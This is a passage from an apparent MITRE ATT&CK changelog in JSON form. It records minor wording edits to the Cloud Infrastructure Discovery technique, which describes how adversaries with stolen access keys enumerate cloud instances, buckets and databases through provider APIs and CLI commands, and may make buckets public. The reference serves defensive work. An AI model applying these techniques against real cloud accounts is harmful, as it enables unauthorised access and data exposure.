AWS Get Public Access Block)(Citation: AWS Head Bucket) Similarly, GCP's Cloud SDK CLI provides the <code>gcloud compute instances list</code> command to list all Google Compute Engine instances in a project,(Citation: Google Compute Instances) and Azure's CLI command <code>az vm list</code> lists details of virtual machines.(Citation: Microsoft AZ CLI) In addition to API commands, adversaries can utilize open source tools to discover cloud storage infrastructure through [Wordlist Scanning](https://attack.mitre.org/techniques/T1595/003).(Citation: Malwarebytes OSINT Leaky Buckets - Hioureas)\\n\\nAn adversary may enumerate resources using a compromised user's access keys to determine which are available to that user.(Citation: Expel IO Evil in AWS) The discovery of these available resources may help adversaries determine their next steps in the Cloud environment, such as establishing Persistence.(Citation: Mandiant M-Trends 2020)An adversary may also use this information to change the configuration to make the bucket publicly accessible, allowing data to be accessed without authentication. Adversaries have also may use infrastructure discovery APIs such as <code>DescribeDBInstances</code> to determine size, owner, permissions, and network ACLs of database resources.(Citation: AWS Describe DB Instances) Adversaries can use this information to determine the potential value of databases and discover the requirements to access them. Unlike in [Cloud Service Discovery](https://attack.mitre.org/techniques/T1526), this technique focuses on the discovery of components of the provided services rather than the services themselves.\", \"old_value\": \"An adversary may attempt to discover infrastructure and resources that are available within an infrastructure-as-a-service (IaaS) environment. This includes compute service resources such as instances, virtual machines, and snapshots as well as resources of other services including the storage and database services.\\n\\nCloud providers offer methods such as APIs and commands issued through CLIs to serve information about infrastructure. For example, AWS provides a <code>DescribeInstances</code> API within the Amazon EC2 API that can return information about one or more instances within an account, the <code>ListBuckets</code> API that returns a list of all buckets owned by the authenticated sender of the request, the <code>HeadBucket</code> API to determine a bucket\\u2019s existence along with access permissions of the request sender, or the <code>GetPublicAccessBlock</code> API to retrieve access block configuration for a bucket.(Citation: Amazon Describe Instance)(Citation: Amazon Describe Instances API)(Citation: AWS Get Public Access Block)(Citation: AWS Head Bucket) Similarly, GCP's Cloud SDK CLI provides the <code>gcloud compute instances list</code> command to list all Google Compute Engine instances in a project (Citation: Google Compute Instances), and Azure's CLI command <code>az vm list</code> lists details of virtual machines.(Citation: Microsoft AZ CLI) In addition to API commands, adversaries can utilize open source tools to discover cloud storage infrastructure through [Wordlist Scanning](https://attack.mitre.org/techniques/T1595/003).(Citation: Malwarebytes OSINT Leaky Buckets - Hioureas)\\n\\nAn adversary may enumerate resources using a compromised user's access keys to determine which are available to that user.(Citation: Expel IO Evil in AWS) The discovery of these available resources may help adversaries determine their next steps in the Cloud environment, such as establishing Persistence.(Citation: Mandiant M-Trends 2020)An adversary may also use this information to change the configuration to make the bucket publicly accessible, allowing data to be accessed without authentication. Adversaries have also may use infrastructure discovery APIs such as <code>DescribeDBInstances</code> to determine size, owner, permissions, and network ACLs of database resources. (Citation: AWS Describe DB Instances) Adversaries can use this information to determine the potential value of databases and discover the requirements to access them. Unlike in [Cloud Service Discovery](https://attack.mitre.org/techniques/T1526), this technique focuses on the discovery of components of the provided services rather than the services themselves.\", \"diff\": \"--- \\n+++ \\n@@ -1,5 +1,5 @@\\n An adversary may attempt to discover infrastructure and resources that are available within an infrastructure-as-a-service (IaaS) environment. This includes compute service resources such as instances, virtual machines, and snapshots as well as resources of other services including the storage and database services.\\n \\n-Cloud providers offer methods such as APIs and commands issued through CLIs to serve information about infrastructure. For example, AWS provides a <code>DescribeInstances</code> API within the Amazon EC2 API that can return information about one or more instances within an account, the <code>ListBuckets</code> API that returns a list of all buckets owned by the authenticated sender of the request, the <code>HeadBucket</code> API to determine a bucket\\u2019s existence along with access permissions of the request sender, or the <code>GetPublicAccessBlock</code> API to retrieve access block configuration for a bucket.(Citation: Amazon Describe Instance)(Citation: Amazon Describe Instances API)(Citation: AWS Get Public Access Block)(Citation: AWS Head Bucket) Similarly, GCP's Cloud SDK CLI provides the <code>gcloud compute instances list</code> command to list all Google Compute Engine instances in a project (Citation: Google Compute Instances), and Azure's CLI command <code>az vm list</code> lists details of virtual machines.(Citation: Microsoft AZ CLI) In addition to API commands, adversaries can utilize open source tools to discover cloud storage infrastructure through [Wordlist Scanning](https://attack.mitre.org/techniques/T1595/003).(Citation: Malwarebytes OSINT Leaky Buckets - Hioureas)\\n+Cloud providers offer methods such as APIs and commands issued through CLIs to serve information about infrastructure. For example, AWS provides a <code>DescribeInstances</code> API within the Amazon EC2 API that can return information about one or more instances within an account, the <code>ListBuckets</code> API that returns a list of all buckets owned by the authenticated sender of the request, the <code>HeadBucket</code> API to determine a bucket\\u2019s existence along with access permissions of the request sender, or the <code>GetPublicAccessBlock</code> API to retrieve access block configuration for a bucket.(Citation: Amazon Describe Instance)(Citation: Amazon Describe Instances API)(Citation: AWS Get Public Access Block)(Citation: AWS Head Bucket) Similarly, GCP's Cloud SDK CLI provides the <code>gcloud compute instances list</code> command to list all Google Compute Engine instances in a project,(Citation: Google Compute Instances) and Azure's CLI command <code>az vm list</code> lists details of virtual machines.(Citation: Microsoft AZ CLI) In addition to API commands, adversaries can utilize open source tools to discover cloud storage infrastructure through [Wordlist Scanning](https://attack.mitre.org/techniques/T1595/003).(Citation: Malwarebytes OSINT Leaky Buckets - Hioureas)\\n \\n-An adversary may enumerate resources using a compromised user's access keys to determine which are available to that user.(Citation: Expel IO Evil in AWS) The discovery of these available resources may help adversaries determine their next steps in the Cloud environment, such as establishing Persistence.(Citation: Mandiant M-Trends 2020)An adversary may also use this information to change the configuration to make the bucket publicly accessible, allowing data to be accessed without authentication. Adversaries have also may use infrastructure discovery APIs such as <code>DescribeDBInstances</code> to determine size, owner, permissions, and network ACLs of database resources. (Citation: AWS Describe DB Instances) Adversaries can use this information to determine the potential value of databases and discover the requirements to access them. Unlike in [Cloud Service Discovery](https://attack.mitre.org/techniques/T1526), this technique focuses on the discovery of components of the provided services rather than the services themselves.\\n+An adversary may enumerate resources using a compromised user's access keys to determine which are available to that user.(Citation: Expel IO Evil in AWS) The discovery of these available resources may help adversaries determine their next steps in the Cloud environment, such as establishing Persistence.(Citation: Mandiant M-Trends 2020)An adversary may also use this information to change the configuration to make the bucket publicly accessible, allowing data to be accessed without authentication. Adversaries have also may use infrastructure discovery APIs such as <code>DescribeDBInstances</code> to determine size, owner, permissions, and network ACLs of database resources.(Citation: AWS Describe DB Instances) Adversaries can use this information to determine the potential value of databases and discover the requirements to access them. Unlike in [Cloud Service Discovery](https://attack.mitre.org/techniques/T1526), this technique focuses on the discovery of components of the provided services rather than the services themselves.\"}}}",
                    "previous_version": "1.3",
                    "description_change_table": "\n    <table class=\"diff\" id=\"difflib_chg_to154__top\"\n           cellspacing=\"0\" cellpadding=\"0\" rules=\"groups\" >\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <thead><tr><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">Old Description</th><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">New Description</th></tr></thead>\n        <tbody>\n            <tr><td class=\"diff_next\" id=\"difflib_chg_to154__0\"><a href=\"#difflib_chg_to154__top\">t</a></td><td class=\"diff_header\" id=\"from154_1\">1</td><td nowrap=\"nowrap\">An&nbsp;adversary&nbsp;may&nbsp;attempt&nbsp;to&nbsp;discover&nbsp;infrastructure&nbsp;and&nbsp;reso</td><td class=\"diff_next\"><a href=\"#difflib_chg_to154__top\">t</a></td><td class=\"diff_header\" id=\"to154_1\">1</td><td nowrap=\"nowrap\">An&nbsp;adversary&nbsp;may&nbsp;attempt&nbsp;to&nbsp;discover&nbsp;infrastructure&nbsp;and&nbsp;reso</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">urces&nbsp;that&nbsp;are&nbsp;available&nbsp;within&nbsp;an&nbsp;infrastructure-as-a-servi</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">urces&nbsp;that&nbsp;are&nbsp;available&nbsp;within&nbsp;an&nbsp;infrastructure-as-a-servi</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ce&nbsp;(IaaS)&nbsp;environment.&nbsp;This&nbsp;includes&nbsp;compute&nbsp;service&nbsp;resourc</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ce&nbsp;(IaaS)&nbsp;environment.&nbsp;This&nbsp;includes&nbsp;compute&nbsp;service&nbsp;resourc</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">es&nbsp;such&nbsp;as&nbsp;instances,&nbsp;virtual&nbsp;machines,&nbsp;and&nbsp;snapshots&nbsp;as&nbsp;wel</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">es&nbsp;such&nbsp;as&nbsp;instances,&nbsp;virtual&nbsp;machines,&nbsp;and&nbsp;snapshots&nbsp;as&nbsp;wel</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">l&nbsp;as&nbsp;resources&nbsp;of&nbsp;other&nbsp;services&nbsp;including&nbsp;the&nbsp;storage&nbsp;and&nbsp;d</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">l&nbsp;as&nbsp;resources&nbsp;of&nbsp;other&nbsp;services&nbsp;including&nbsp;the&nbsp;storage&nbsp;and&nbsp;d</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">atabase&nbsp;services.&nbsp;&nbsp;Cloud&nbsp;providers&nbsp;offer&nbsp;methods&nbsp;such&nbsp;as&nbsp;API</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">atabase&nbsp;services.&nbsp;&nbsp;Cloud&nbsp;providers&nbsp;offer&nbsp;methods&nbsp;such&nbsp;as&nbsp;API</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">s&nbsp;and&nbsp;commands&nbsp;issued&nbsp;through&nbsp;CLIs&nbsp;to&nbsp;serve&nbsp;information&nbsp;abou</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">s&nbsp;and&nbsp;commands&nbsp;issued&nbsp;through&nbsp;CLIs&nbsp;to&nbsp;serve&nbsp;information&nbsp;abou</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">t&nbsp;infrastructure.&nbsp;For&nbsp;example,&nbsp;AWS&nbsp;provides&nbsp;a&nbsp;&lt;code&gt;Describe</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">t&nbsp;infrastructure.&nbsp;For&nbsp;example,&nbsp;AWS&nbsp;provides&nbsp;a&nbsp;&lt;code&gt;Describe</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">Instances&lt;/code&gt;&nbsp;API&nbsp;within&nbsp;the&nbsp;Amazon&nbsp;EC2&nbsp;API&nbsp;that&nbsp;can&nbsp;retu</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">Instances&lt;/code&gt;&nbsp;API&nbsp;within&nbsp;the&nbsp;Amazon&nbsp;EC2&nbsp;API&nbsp;that&nbsp;can&nbsp;retu</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">rn&nbsp;information&nbsp;about&nbsp;one&nbsp;or&nbsp;more&nbsp;instances&nbsp;within&nbsp;an&nbsp;account</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">rn&nbsp;information&nbsp;about&nbsp;one&nbsp;or&nbsp;more&nbsp;instances&nbsp;within&nbsp;an&nbsp;account</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">,&nbsp;the&nbsp;&lt;code&gt;ListBuckets&lt;/code&gt;&nbsp;API&nbsp;that&nbsp;returns&nbsp;a&nbsp;list&nbsp;of&nbsp;al</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">,&nbsp;the&nbsp;&lt;code&gt;ListBuckets&lt;/code&gt;&nbsp;API&nbsp;that&nbsp;returns&nbsp;a&nbsp;list&nbsp;of&nbsp;al</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">l&nbsp;buckets&nbsp;owned&nbsp;by&nbsp;the&nbsp;authenticated&nbsp;sender&nbsp;of&nbsp;the&nbsp;request,&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">l&nbsp;buckets&nbsp;owned&nbsp;by&nbsp;the&nbsp;authenticated&nbsp;sender&nbsp;of&nbsp;the&nbsp;request,&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">the&nbsp;&lt;code&gt;HeadBucket&lt;/code&gt;&nbsp;API&nbsp;to&nbsp;determine&nbsp;a&nbsp;bucket\u2019s&nbsp;exis</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">the&nbsp;&lt;code&gt;HeadBucket&lt;/code&gt;&nbsp;API&nbsp;to&nbsp;determine&nbsp;a&nbsp;bucket\u2019s&nbsp;exis</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">tence&nbsp;along&nbsp;with&nbsp;access&nbsp;permissions&nbsp;of&nbsp;the&nbsp;request&nbsp;sender,&nbsp;o</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">tence&nbsp;along&nbsp;with&nbsp;access&nbsp;permissions&nbsp;of&nbsp;the&nbsp;request&nbsp;sender,&nbsp;o</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">r&nbsp;the&nbsp;&lt;code&gt;GetPublicAccessBlock&lt;/code&gt;&nbsp;API&nbsp;to&nbsp;retrieve&nbsp;acce</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">r&nbsp;the&nbsp;&lt;code&gt;GetPublicAccessBlock&lt;/code&gt;&nbsp;API&nbsp;to&nbsp;retrieve&nbsp;acce</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ss&nbsp;block&nbsp;configuration&nbsp;for&nbsp;a&nbsp;bucket.(Citation:&nbsp;Amazon&nbsp;Descri</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ss&nbsp;block&nbsp;configuration&nbsp;for&nbsp;a&nbsp;bucket.(Citation:&nbsp;Amazon&nbsp;Descri</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">be&nbsp;Instance)(Citation:&nbsp;Amazon&nbsp;Describe&nbsp;Instances&nbsp;API)(Citati</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">be&nbsp;Instance)(Citation:&nbsp;Amazon&nbsp;Describe&nbsp;Instances&nbsp;API)(Citati</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">on:&nbsp;AWS&nbsp;Get&nbsp;Public&nbsp;Access&nbsp;Block)(Citation:&nbsp;AWS&nbsp;Head&nbsp;Bucket)&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">on:&nbsp;AWS&nbsp;Get&nbsp;Public&nbsp;Access&nbsp;Block)(Citation:&nbsp;AWS&nbsp;Head&nbsp;Bucket)&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">Similarly,&nbsp;GCP's&nbsp;Cloud&nbsp;SDK&nbsp;CLI&nbsp;provides&nbsp;the&nbsp;&lt;code&gt;gcloud&nbsp;com</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">Similarly,&nbsp;GCP's&nbsp;Cloud&nbsp;SDK&nbsp;CLI&nbsp;provides&nbsp;the&nbsp;&lt;code&gt;gcloud&nbsp;com</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">pute&nbsp;instances&nbsp;list&lt;/code&gt;&nbsp;command&nbsp;to&nbsp;list&nbsp;all&nbsp;Google&nbsp;Comput</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">pute&nbsp;instances&nbsp;list&lt;/code&gt;&nbsp;command&nbsp;to&nbsp;list&nbsp;all&nbsp;Google&nbsp;Comput</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">e&nbsp;Engine&nbsp;instances&nbsp;in&nbsp;a&nbsp;project<span class=\"diff_chg\">&nbsp;</span>(Citation:&nbsp;Google&nbsp;Compute&nbsp;In</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">e&nbsp;Engine&nbsp;instances&nbsp;in&nbsp;a&nbsp;project<span class=\"diff_chg\">,</span>(Citation:&nbsp;Google&nbsp;Compute&nbsp;In</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">stances)<span class=\"diff_chg\">,&nbsp;and</span>&nbsp;Azure's&nbsp;CLI&nbsp;command&nbsp;&lt;code&gt;az&nbsp;vm&nbsp;list&lt;/code&gt;&nbsp;li</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">stances)<span class=\"diff_chg\">&nbsp;and</span>&nbsp;Azure's&nbsp;CLI&nbsp;command&nbsp;&lt;code&gt;az&nbsp;vm&nbsp;list&lt;/code&gt;&nbsp;lis</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">sts&nbsp;details&nbsp;of&nbsp;virtual&nbsp;machines.(Citation:&nbsp;Microsoft&nbsp;AZ&nbsp;CLI)</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ts&nbsp;details&nbsp;of&nbsp;virtual&nbsp;machines.(Citation:&nbsp;Microsoft&nbsp;AZ&nbsp;CLI)&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;In&nbsp;addition&nbsp;to&nbsp;API&nbsp;commands,&nbsp;adversaries&nbsp;can&nbsp;utilize&nbsp;open&nbsp;s</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">In&nbsp;addition&nbsp;to&nbsp;API&nbsp;commands,&nbsp;adversaries&nbsp;can&nbsp;utilize&nbsp;open&nbsp;so</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ource&nbsp;tools&nbsp;to&nbsp;discover&nbsp;cloud&nbsp;storage&nbsp;infrastructure&nbsp;through</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">urce&nbsp;tools&nbsp;to&nbsp;discover&nbsp;cloud&nbsp;storage&nbsp;infrastructure&nbsp;through&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;[Wordlist&nbsp;Scanning](https://attack.mitre.org/techniques/T15</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">[Wordlist&nbsp;Scanning](https://attack.mitre.org/techniques/T159</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">95/003).(Citation:&nbsp;Malwarebytes&nbsp;OSINT&nbsp;Leaky&nbsp;Buckets&nbsp;-&nbsp;Hioure</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">5/003).(Citation:&nbsp;Malwarebytes&nbsp;OSINT&nbsp;Leaky&nbsp;Buckets&nbsp;-&nbsp;Hiourea</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">as)&nbsp;&nbsp;An&nbsp;adversary&nbsp;may&nbsp;enumerate&nbsp;resources&nbsp;using&nbsp;a&nbsp;compromise</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">s)&nbsp;&nbsp;An&nbsp;adversary&nbsp;may&nbsp;enumerate&nbsp;resources&nbsp;using&nbsp;a&nbsp;compromised</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">d&nbsp;user's&nbsp;access&nbsp;keys&nbsp;to&nbsp;determine&nbsp;which&nbsp;are&nbsp;available&nbsp;to&nbsp;tha</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;user's&nbsp;access&nbsp;keys&nbsp;to&nbsp;determine&nbsp;which&nbsp;are&nbsp;available&nbsp;to&nbsp;that</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">t&nbsp;user.(Citation:&nbsp;Expel&nbsp;IO&nbsp;Evil&nbsp;in&nbsp;AWS)&nbsp;The&nbsp;discovery&nbsp;of&nbsp;the</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;user.(Citation:&nbsp;Expel&nbsp;IO&nbsp;Evil&nbsp;in&nbsp;AWS)&nbsp;The&nbsp;discovery&nbsp;of&nbsp;thes</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">se&nbsp;available&nbsp;resources&nbsp;may&nbsp;help&nbsp;adversaries&nbsp;determine&nbsp;their&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">e&nbsp;available&nbsp;resources&nbsp;may&nbsp;help&nbsp;adversaries&nbsp;determine&nbsp;their&nbsp;n</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">next&nbsp;steps&nbsp;in&nbsp;the&nbsp;Cloud&nbsp;environment,&nbsp;such&nbsp;as&nbsp;establishing&nbsp;Pe</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ext&nbsp;steps&nbsp;in&nbsp;the&nbsp;Cloud&nbsp;environment,&nbsp;such&nbsp;as&nbsp;establishing&nbsp;Per</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">rsistence.(Citation:&nbsp;Mandiant&nbsp;M-Trends&nbsp;2020)An&nbsp;adversary&nbsp;may</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">sistence.(Citation:&nbsp;Mandiant&nbsp;M-Trends&nbsp;2020)An&nbsp;adversary&nbsp;may&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;also&nbsp;use&nbsp;this&nbsp;information&nbsp;to&nbsp;change&nbsp;the&nbsp;configuration&nbsp;to&nbsp;ma</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">also&nbsp;use&nbsp;this&nbsp;information&nbsp;to&nbsp;change&nbsp;the&nbsp;configuration&nbsp;to&nbsp;mak</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ke&nbsp;the&nbsp;bucket&nbsp;publicly&nbsp;accessible,&nbsp;allowing&nbsp;data&nbsp;to&nbsp;be&nbsp;acces</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">e&nbsp;the&nbsp;bucket&nbsp;publicly&nbsp;accessible,&nbsp;allowing&nbsp;data&nbsp;to&nbsp;be&nbsp;access</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">sed&nbsp;without&nbsp;authentication.&nbsp;Adversaries&nbsp;have&nbsp;also&nbsp;may&nbsp;use&nbsp;in</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ed&nbsp;without&nbsp;authentication.&nbsp;Adversaries&nbsp;have&nbsp;also&nbsp;may&nbsp;use&nbsp;inf</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">frastructure&nbsp;discovery&nbsp;APIs&nbsp;such&nbsp;as&nbsp;&lt;code&gt;DescribeDBInstance</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">rastructure&nbsp;discovery&nbsp;APIs&nbsp;such&nbsp;as&nbsp;&lt;code&gt;DescribeDBInstances</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">s&lt;/code&gt;&nbsp;to&nbsp;determine&nbsp;size,&nbsp;owner,&nbsp;permissions,&nbsp;and&nbsp;network&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&lt;/code&gt;&nbsp;to&nbsp;determine&nbsp;size,&nbsp;owner,&nbsp;permissions,&nbsp;and&nbsp;network&nbsp;A</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ACLs&nbsp;of&nbsp;database&nbsp;resources.<span class=\"diff_sub\">&nbsp;</span>(Citation:&nbsp;AWS&nbsp;Describe&nbsp;DB&nbsp;Insta</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">CLs&nbsp;of&nbsp;database&nbsp;resources.(Citation:&nbsp;AWS&nbsp;Describe&nbsp;DB&nbsp;Instanc</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">nces)&nbsp;Adversaries&nbsp;can&nbsp;use&nbsp;this&nbsp;information&nbsp;to&nbsp;determine&nbsp;the&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">es)&nbsp;Adversaries&nbsp;can&nbsp;use&nbsp;this&nbsp;information&nbsp;to&nbsp;determine&nbsp;the&nbsp;po</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">potential&nbsp;value&nbsp;of&nbsp;databases&nbsp;and&nbsp;discover&nbsp;the&nbsp;requirements&nbsp;t</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">tential&nbsp;value&nbsp;of&nbsp;databases&nbsp;and&nbsp;discover&nbsp;the&nbsp;requirements&nbsp;to&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">o&nbsp;access&nbsp;them.&nbsp;Unlike&nbsp;in&nbsp;[Cloud&nbsp;Service&nbsp;Discovery](https://a</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">access&nbsp;them.&nbsp;Unlike&nbsp;in&nbsp;[Cloud&nbsp;Service&nbsp;Discovery](https://att</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ttack.mitre.org/techniques/T1526),&nbsp;this&nbsp;technique&nbsp;focuses&nbsp;on</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ack.mitre.org/techniques/T1526),&nbsp;this&nbsp;technique&nbsp;focuses&nbsp;on&nbsp;t</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;the&nbsp;discovery&nbsp;of&nbsp;components&nbsp;of&nbsp;the&nbsp;provided&nbsp;services&nbsp;rather</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">he&nbsp;discovery&nbsp;of&nbsp;components&nbsp;of&nbsp;the&nbsp;provided&nbsp;services&nbsp;rather&nbsp;t</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;than&nbsp;the&nbsp;services&nbsp;themselves.</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">han&nbsp;the&nbsp;services&nbsp;themselves.</td></tr>\n        </tbody>\n    </table>",
                    "changelog_mitigations": {
                        "shared": [
                            "M1018: User Account Management"
                        ],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_datacomponent_detections": {
                        "shared": [],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_detectionstrategy_detections": {
                        "shared": [
                            "DET0169: Detection Strategy for Cloud Infrastructure Discovery"
                        ],
                        "new": [],
                        "dropped": []
                    }
                },
                {
                    "type": "attack-pattern",
                    "id": "attack-pattern--8565825b-21c8-4518-b75e-cbc4c717a156",
                    "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "created": "2021-10-01 17:58:26.445000+00:00",
                    "modified": "2026-11-04 01:13:06.284000+00:00",
                    "name": "Cloud Storage Object Discovery",
